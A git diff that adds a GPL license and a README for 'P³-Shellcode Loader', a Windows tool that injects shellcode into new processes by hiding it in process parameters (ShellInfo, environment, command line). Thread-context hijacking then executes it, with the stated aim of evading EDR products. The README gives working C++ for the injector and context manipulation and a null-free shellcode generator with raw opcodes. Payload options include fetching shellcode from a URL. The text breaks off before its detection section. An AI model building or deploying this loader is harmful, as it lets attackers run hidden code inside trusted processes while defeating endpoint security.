diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d159169 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..5b9f95b --- /dev/null +++ b/README.md @@ -0,0 +1,556 @@ +# P³-Shellcode Loader - Process Parameter Poisoning + +--- + +## Contents + +1. [Introduction](#1-introduction) +2. [Typical Process Injection and Involved System APIs](#2-typical-process-injection-and-involved-system-apis) +3. [Technical Foundation of Required Windows Internals](#3-technical-foundation-of-required-windows-internals) + - 3.1 [Process Creation API and Startup Parameters](#31-process-creation-api-and-startup-parameters) + - 3.2 [The Process Environment Block (PEB)](#32-the-process-environment-block-peb) +4. [Process Parameter Poisoning (P³)](#4-process-parameter-poisoning-p3) + - 4.1 [Starting a Process with a Poisoned Parameter](#41-starting-a-process-with-a-poisoned-parameter) + - 4.2 [Locating the Injected Data in the New Process](#42-locating-the-injected-data-in-the-new-process) + - 4.3 [Executing the Injected Code](#43-executing-the-injected-code) + - 4.4 [Implemented Payload Injections](#44-implemented-payload-injections) +5. [Passing Arbitrary Shellcode in a String](#5-passing-arbitrary-shellcode-in-a-string) + - 5.1 [Lower Level Helper Methods Used by the Shellcode Generator](#51-lower-level-helper-methods-used-by-the-shellcode-generator) + - 5.2 [Implementation of Higher Level Operations](#52-implementation-of-higher-level-operations) +6. [Advantages of Detection Avoidance by this Technique](#6-advantages-of-detection-avoidance-by-this-technique) +7. [Detection Approach](#7-detection-approach) +8. [Conclusion](#8-conclusion) +--- + +## 1. Introduction + +P³-Shellcode Loader is a loader that implements a code injection technique which leverages the Process Parameters structure (Process Parameter Poisoning) as an execution and staging location for shellcode injection into remote processes, without triggering common detection mechanisms. + +--- + +## 2. Typical Process Injection and Involved System APIs + +Attackers want to make their activities look less suspicious. With process injection, the attackers are able to perform their activities from a different process that is more trusted or expected to be performing the specific activity, thus lowering suspicion. + +The following are the typical steps required to inject code into another process: + +1. The attacker searches for and opens a target process or starts a new process (via `OpenProcess` / `NtOpenProcess` or `CreateProcess` / `NtCreateProcess`). +2. Memory for the malicious code is allocated in the target process (via `VirtualAllocEx` or `NtAllocateVirtualMemory`). +3. The malicious code is written to the new allocation (via `WriteProcessMemory` / `NtWriteVirtualMemory`). +4. Memory access protection is configured to allow executing the malicious code (via `VirtualProtectEx` / `NtProtectVirtualMemory`). +5. A new thread is started in the target process that runs the malicious code (via `CreateRemoteThread` bzw. `NtCreateThreadEx`). + + +Additional injection techniques include but are not limited to the following: +- **Thread Hijacking:** Instead of creating a new thread, an existing one is redirected (via `NtSetContextThread`) +- **Early-Bird APC-Injection:** Utilizes Asynchronous Procedure Calls (APCs) to redirect the execution of an existing thread (via `NtQueueApcThread`) +- **Dirty Vanity:** Abuses the Windows API `RtlCreateProcessReflection`, that implements process forking. +In our testing, we observed that most EDRs focus on specific telemetry to detect process injection. EDRs primarily monitor the usage of `WriteProcessMemory` and `VirtualAllocEx`, as well as their underlying kernel system calls `NtWriteVirtualMemory`, `NtAllocateVirtualMemory` and `NtAllocateVirtualMemoryEx`. + +--- + +## 3. Technical Foundation of Required Windows Internals + +### 3.1 Process Creation API and Startup Parameters + +Windows provides the API function `CreateProcessW` for creating new processes, shown in Listing 1. The first three of its parameters `lpCommandLine`, `lpEnvironment` and `lpStartupInfo` are relevant for the described injection technique, since they are used to transfer data to the new process. + +```c +BOOL CreateProcessW( + [in, optional] LPCWSTR lpApplicationName, + [in, out, optional] LPWSTR lpCommandLine, + [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, + [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, + [in] BOOL bInheritHandles, + [in] DWORD dwCreationFlags, + [in, optional] LPVOID lpEnvironment, + [in, optional] LPCWSTR lpCurrentDirectory, + [in] LPSTARTUPINFOW lpStartupInfo, + [out] LPPROCESS_INFORMATION lpProcessInformation +); +``` +*Listing 1: Definition of CreateProcessW Windows API Function* + +The `lpCommandLine` parameter specifies the command line for the new process. It is limited to a maximum of 32,767 unicode characters, including the unicode null-terminator. For the unicode variant, it is necessary to provide a string that the function can write to. If a constant string is supplied, any write attempts made by the API function result in a memory access violation. If the value is `NULL`, the process's command line will be taken from the `lpApplicationName` parameter. If `lpApplicationName` is `NULL`, it has to be provided in the `lpCommandLine` field and is limited to `MAX_PATH` characters. + +The `lpEnvironment` parameter provides a list of environment variables to the process. If the value is `NULL`, the environment of the creating process will be used. The list of environment variables consists of successive null-terminated strings of the format `NAME=VALUE` with another null-terminator at the end. + +The `lpStartupInfo` parameter is a structure shown in Listing 2 with fields such as window station, desktop, standard input and output handles as well as fields that configure the main window of the new process. According to Microsoft documentation, the field `lpReserved` is reserved for internal use with no further documentation. Through analysis with the WinDbg debugger, it was possible to relate this parameter to the `ShellInfo` variable of the type `UNICODE_STRING` in the new process. + +```c +typedef struct _STARTUPINFOW { + DWORD cb; + LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING) + LPWSTR lpDesktop; + LPWSTR lpTitle; + DWORD dwX; + DWORD dwY; + DWORD dwXSize; + // (...) additional fields + WORD wShowWindow; + WORD cbReserved2; + LPBYTE lpReserved2; + HANDLE hStdInput; + // (...) additional fields +} STARTUPINFOW, *LPSTARTUPINFOW; +``` +*Listing 2: Layout of STARTUPINFOW data structure* + +### 3.2 The Process Environment Block (PEB) + +At the creation of a new process, all supplied process parameters are written to the Process Environment Block (PEB). The PEB is a data structure that is present in all processes and unique to each process. The parameters can be accessed within the `ProcessParameters` member of the type `RTL_USER_PROCESS_PARAMETERS`. Besides the process parameters, this structure also includes further runtime information, such as a list of loaded modules. The structure of the PEB and relevant process parameters in the `RTL_USER_PROCESS_PARAMETERS` is shown in Listing 3 and Listing 4. + +```c +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + // (...) additional fields + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + // (...) additional fields +} PEB, *PPEB; +``` +*Listing 3: Layout of PEB data structure* + +```c +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + ULONG Flags; + ULONG DebugFlags; + // (...) additional fields + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; // Potential candidate for transfer + UNICODE_STRING ImagePathName; // Potential candidate for transfer + UNICODE_STRING CommandLine; // Primary candidate for transfer + PVOID Environment; // Primary candidate for transfer + // (...) additional fields + UNICODE_STRING ShellInfo; // Primary candidate for transfer + // (lpReserved in STARTUPINFO) + UNICODE_STRING RuntimeData; // Potential candidate for transfer + // (...) additional fields +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; +``` +*Listing 4: Layout of RTL_USER_PROCESS_PARAMETERS data structure* + + +Figure 1 shows the `ShellInfo` parameter with the poison value supplied in the `lpReserved` field for the `STARTUPINFOW` structure. Furthermore, Figure 2 shows the controlled command line within the System Informer tool. + +image + + +*Figure 1: Poisoned ShellInfo Parameter* + + +image + + + +*Figure 2: Poisoned Command Line* + +--- + +## 4. Process Parameter Poisoning (P³) + +### 4.1 Starting a Process with a Poisoned Parameter + +Since there are multiple parameters that may be used to copy the malicious code, the wrapper function in Listing 5 creates a process with the poison argument supplied to the chosen process parameter. When running the implemented injector, this choice can be made as shown in Figure 3. Furthermore, any value can be provided for the target application that will be used in `lpApplication`, with the user prompt shown in Figure 4. + +```cpp +BOOL CreateProcessWithPoison +(int choice, PWCHAR lpApplication, + PWCHAR poisonParameter, PPROCESS_INFORMATION pi) +{ + STARTUPINFOW si = { 0 }; + switch (choice) { + case 1: // Injection via ShellInfo (lpReserved) + printf("[~] Writing into ShellInfo...\n"); + si.lpReserved = poisonParameter; + return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, + 0, NULL, NULL, &si, pi); + case 2: // Injection via Environment block + printf("[~] Writing into Environment block...\n"); + return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, + CREATE_UNICODE_ENVIRONMENT, poisonParameter, + NULL, &si, pi); + case 3: // Injection via CommandLine + printf("[~] Writing into CommandLine...\n"); + return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, + FALSE, 0, NULL, NULL, &si, pi); + default: + return FALSE; + } +} +``` +*Listing 5: Implementation of CreateProcessWithPoison* + +This function implements three distinct parameter choices: + +1. **ShellInfo Injection:** Places the poison in the `lpReserved` field of the `lpStartupInfo` parameter that will be copied to the `ShellInfo` variable in the PEB +2. **Environment Injection:** Places the poison in the `lpEnvironment` parameter with the `CREATE_UNICODE_ENVIRONMENT` flag +3. **CommandLine Injection:** Places the poison in the `lpCommandLine` parameter of `CreateProcessW` + +image + + +*Figure 3: Selection of Poisonable Parameter* + + +image + + +*Figure 4: Selection of the Targeted Application Executable* + +### 4.2 Locating the Injected Data in the New Process + +After successful process creation, the injected data can be found via the PEB structure. The following three steps are required to locate the poison in the new process. + +First up, the starting address of the PEB structure is determined by calling `NtQueryInformationProcess`. `NtQueryInformationProcess` retrieves the data structure `PROCESS_BASIC_INFORMATION` when called with the information class `ProcessBasicInformation`. And `PROCESS_BASIC_INFORMATION` contains the address of the PEB in the `PebBaseAddress` field. This step is shown in Listing 6. + +```cpp +WinApiResolver winapi = WinApiResolver::GetInstance(); +PROCESS_BASIC_INFORMATION pbi = { 0 }; +ULONG retLen; +winapi.NtQueryInformationProcess( + pi.hProcess, // Handle of the new process + ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION + &pbi, // Destination + sizeof(pbi), // Size of the destination + &retLen // Resulting size of what was read +); +``` +*Listing 6: First Step of Locating the Injected Data* + +In the second step, the PEB structure is read by calling `NtReadVirtualMemoryEx` with the starting address of the structure that was retrieved in the first step. The implementation of the second step is shown in Listing 7. + +```cpp +PEB pebLocal = { 0 }; +SIZE_T bytesRead; +NTSTATUS status = winapi.NtReadVirtualMemoryEx( + pi.hProcess, // Handle of the new process + pbi.PebBaseAddress, // Starting address of the PEB + &pebLocal, // Destination / Local copy of the PEB + sizeof(pebLocal), // Size to be read + &bytesRead, // Resulting size of what was read + 0 // Reserved parameter +); +``` +*Listing 7: Second Step of Locating the Injected Data* + +After reading the PEB, the field `ProcessParameters` contains the starting address of the `RTL_USER_PROCESS_PARAMETERS` structure in the new process. In the third step, this structure is also read from the new process. The pointers to the injected data are within this structure. The third step is shown in Listing 8. + +```cpp +RTL_USER_PROCESS_PARAMETERS parameters = { 0 }; +status = winapi.NtReadVirtualMemoryEx( + pi.hProcess, // Handle of target process + pebLocal.ProcessParameters, // ProcessParameters address in target + ¶meters, // Output buffer / Local copy + sizeof(parameters), // Size to be read + &bytesRead, // Resulting size of what was read + 0 // Reserved parameter +); +``` +*Listing 8: Third Step of Locating the Injected Data* + +This approach only uses memory read APIs and no write or allocation API that the EDRs focus on. However, there is one limitation imposed by the parameters. Since these parameters are null-terminated strings, only shellcode with no null-terminator can be fully transferred. A solution to overcome this limitation is given in Section 5. + +### 4.3 Executing the Injected Code + +After transferring the code, the process's execution still needs to be directed to the code. Furthermore, the memory protection of the injected data has to be adjusted, since the parameters are not placed into regions that are marked executable. + +To change the protection, the Windows API `NtProtectVirtualMemory` is used to change the protection from only readable and writable to only readable and executable. + +To redirect the code execution to the shellcode, the following three methods exist: + +- **`CreateRemoteThread` / `NtCreateThreadEx`:** Create a new thread that starts at the shellcode +- **`QueueUserAPC` / `NtQueueApcThread`:** Queue up an APC on an existing thread that ends up redirecting it to the shellcode +- **Thread Context Manipulation:** Modify the instruction pointer of an existing thread to move its execution to the shellcode +During the initial implementation of this technique, the Dirty Vanity approach was evaluated for executing the code. However, several EDRs raised alerts for this method. + +A detailed look into the implementation of `RtlCreateProcessReflection` revealed that it makes calls to `NtWriteVirtualMemory` and `NtCreateThreadEx`. Essentially, it creates a thread in a target process to execute a function within `ntdll.dll`. This function both creates the forked process by calling `RtlCloneUserProcess` and also performs a memory write into the forked process. + +Since `NtWriteVirtualMemory` is one of the primary indicators used by the EDRs, the Dirty Vanity method only raises suspicion beyond what's necessary. + +Instead, the manipulation of the main thread's context is used, since it provides the following advantages over Dirty Vanity: + +- **Availability of Thread Handles:** `CreateProcessW` already provides a valid handle for the main thread within the `PROCESS_INFORMATION` structure. A Handle is an abstract reference object that the kernel provides for interacting with system resources, such as processes, threads and files. Handles are essentially indices into process specific handle tables that map each handle to an object in the kernel with an associated level of access to the object. +- **Avoiding Suspicious API Calls:** `NtWriteVirtualMemory`, `VirtualAllocEx` and `CreateRemoteThread` are never used, only `NtSetContextThread` is called. +The context of a thread is the state of all processor registers. Therefore it is possible to redirect a thread's execution flow by manipulating its context, i.e. changing the instruction pointer register. Typically, the thread context is manipulated in the following steps: + +1. **Thread Suspension:** The target thread is put into a suspended state either by calling `SuspendThread` or by creating it in a suspended state +2. **Context Read:** The current context is read into a `CONTEXT` data structure via `GetThreadContext` +3. **Context Modify:** Desired changes are made to the context, e.g. changing the instruction pointer register `RIP` +4. **Context Apply:** The modified context is written to the thread by calling `SetThreadContext` +5. **Thread Resumption:** `ResumeThread` is called to resume the thread's execution at the new value of `RIP` +A thread's context can be changed without suspending it first. Therefore it is not necessary to call `SuspendThread` and `ResumeThread` that may be monitored by EDRs for process injection. Furthermore, calling `GetThreadContext` can also be skipped, if prior execution does not need to be restored at a later point. The resulting implementation is shown in Listing 9. + +```cpp +NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) +{ + CONTEXT ctx; + ctx = { 0 }; + ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough + WinApiResolver winapi = WinApiResolver::GetInstance(); + NTSTATUS status = 0; + + status = winapi.NtGetContextThread(*hThread, &ctx); + if (!NT_SUCCESS(status)) { + SetColor(FOREGROUND_RED); + printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); + return status; + } + + ctx.Rip = (DWORD64)shellcode; + + status = winapi.NtSetContextThread(*hThread, &ctx); + if (!NT_SUCCESS(status)) { + SetColor(FOREGROUND_RED); + printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); + return status; + } + + return 0; +} +``` +*Listing 9: Manipulation of Thread Context in ThreadSetExec* + +### 4.4 Implemented Payload Injections + +Our implementation of this injection technique includes the following four payload options shown in Figure 5. + +1. The first option is a simple demo that displays a popup window and is shown in Figure 5. This option requires no further shellcode or executable files that will be injected. +2. Option two takes a hexadecimal representation of shellcode and injects it. If the shellcode contains null bytes, it is injected with the method described in Section 5. +3. The third option accepts a path to a DLL file that is then supplied to `LoadLibraryA` within the target. +4. Lastly, option four loads raw shellcode from a HTTP(S) URL and also takes care of the null byte limitation. + +image + + +*Figure 5: Choice of Injected Shellcode* + + +image + + +*Figure 6: Message Box Created by Shellcode* + +--- + +## 5. Passing Arbitrary Shellcode in a String + +It is not possible to pass any arbitrary data within the parameters. This is because only data up until a null-terminator will be copied. To overcome this limitation, we have built a shellcode generator that doesn't emit null-terminators. + +This shellcode generator can create shellcode for calling `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` or `NtSuspendThread` with arbitrary parameters. Furthermore, it can generate shellcode that decodes an arbitrary second stage shellcode and jump to it. + +It is implemented in the `ShellCodeWriter` C++ class with private helper methods and public methods for the exposed functionality. The implementation details will be explained in the following. + +### 5.1 Lower Level Helper Methods Used by the Shellcode Generator + +`Xor` is used as the primitive that allows the shellcode to generate any data, including zero bytes. This primitive is implemented in the helper method `SetRAXXOR` that takes two 64 bit values. It emits shellcode that performs an xor operation with the given 64 bit values and saves the result in the `RAX` register. + +The additional helper `SetRAX` creates these two 64 bit values, that when xored result in a given value. It also ensures that these two 64 bit values contain no zero bytes. In essence, `SetRAX` emits shellcode that will set the `RAX` register to an arbitrary 64 bit value. + +Both `SetRAXXOR` and `SetRAX` are shown in Listing 10. Additionally, the resulting machine code of three example `SetRAX` calls are shown in Listing 11. + +```cpp +void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value) +{ + const char gadget[] = + "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A + "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B + "\x4C\x31\xF8"; // xor rax, r15 + uint64_t* xor_a = (uint64_t*)(gadget + 2); + uint64_t* xor_b = (uint64_t*)(gadget + 12); + *xor_a = xor_a_value; + *xor_b = xor_b_value; + AppendShellCode(gadget, 23); +} + +void ShellCodeWriter::SetRAX(uint64_t value) +{ + if (value == 0) + { + AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax + return; + } + uint64_t xor_a = 0, xor_b = 0x0101010101010101; + // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes + for (int i = 0; i < 8; i++) + { + if (((uint8_t*)(&value))[i] == 0x01) + { + ((uint8_t*)(&xor_b))[i] = 0x02; + } + } + xor_a = value ^ xor_b; + SetRAXXOR(xor_a, xor_b); +} +``` +*Listing 10: Implementation of SetRAXXOR and SetRAX* + +```asm +; SetRAX(0) +xor rax, rax + +; SetRAX(0xDEADBEEF) +mov rax, 0x01010101DFACBFEE +mov r15, 0x0101010101010101 +xor rax, r15 + +; SetRAX(1) +mov rax, 0x0101010101010103 +mov r15, 0x0101010101010102 +xor rax, r15 +``` +*Listing 11: Examples for Code Emitted by SetRAX* + +`SetRAX` is the basis for the helper methods `PushValue`, `PushBuffer`, `SetArgRegister` and `SetArgRegisterStackRelative`. `PushValue` calls `SetRAX` and follows it with a `push RAX` instruction that therefore allows pushing arbitrary values to the stack. `PushBuffer` uses `PushValue` to write an arbitrary array of bytes on the stack; for this it splits the data into 64 bit values and pushes them in reverse order. The order needs to be reversed, since the stack pointer is decremented after each push. The shellcode generator keeps track of how many bytes were pushed with the `m_total_consumed_stack_bytes` variable. This variable is used in the `FreeStack` helper method to clean up the stack, reverting the stack pointer to its initial value. + +In the Windows 64 bit x86 application binary interface, the registers `RCX`, `RDX`, `R8` and `R9` are used for the first four arguments when calling a function. Additional arguments are pushed on the stack, after a 32 byte shadow space. The shadow space is reserved for the called function and is used to save the first four argument registers. `SetArgRegister` and `SetArgRegisterStackRelative` are used to set one of these four argument registers. `SetArgRegister` sets a given register to an 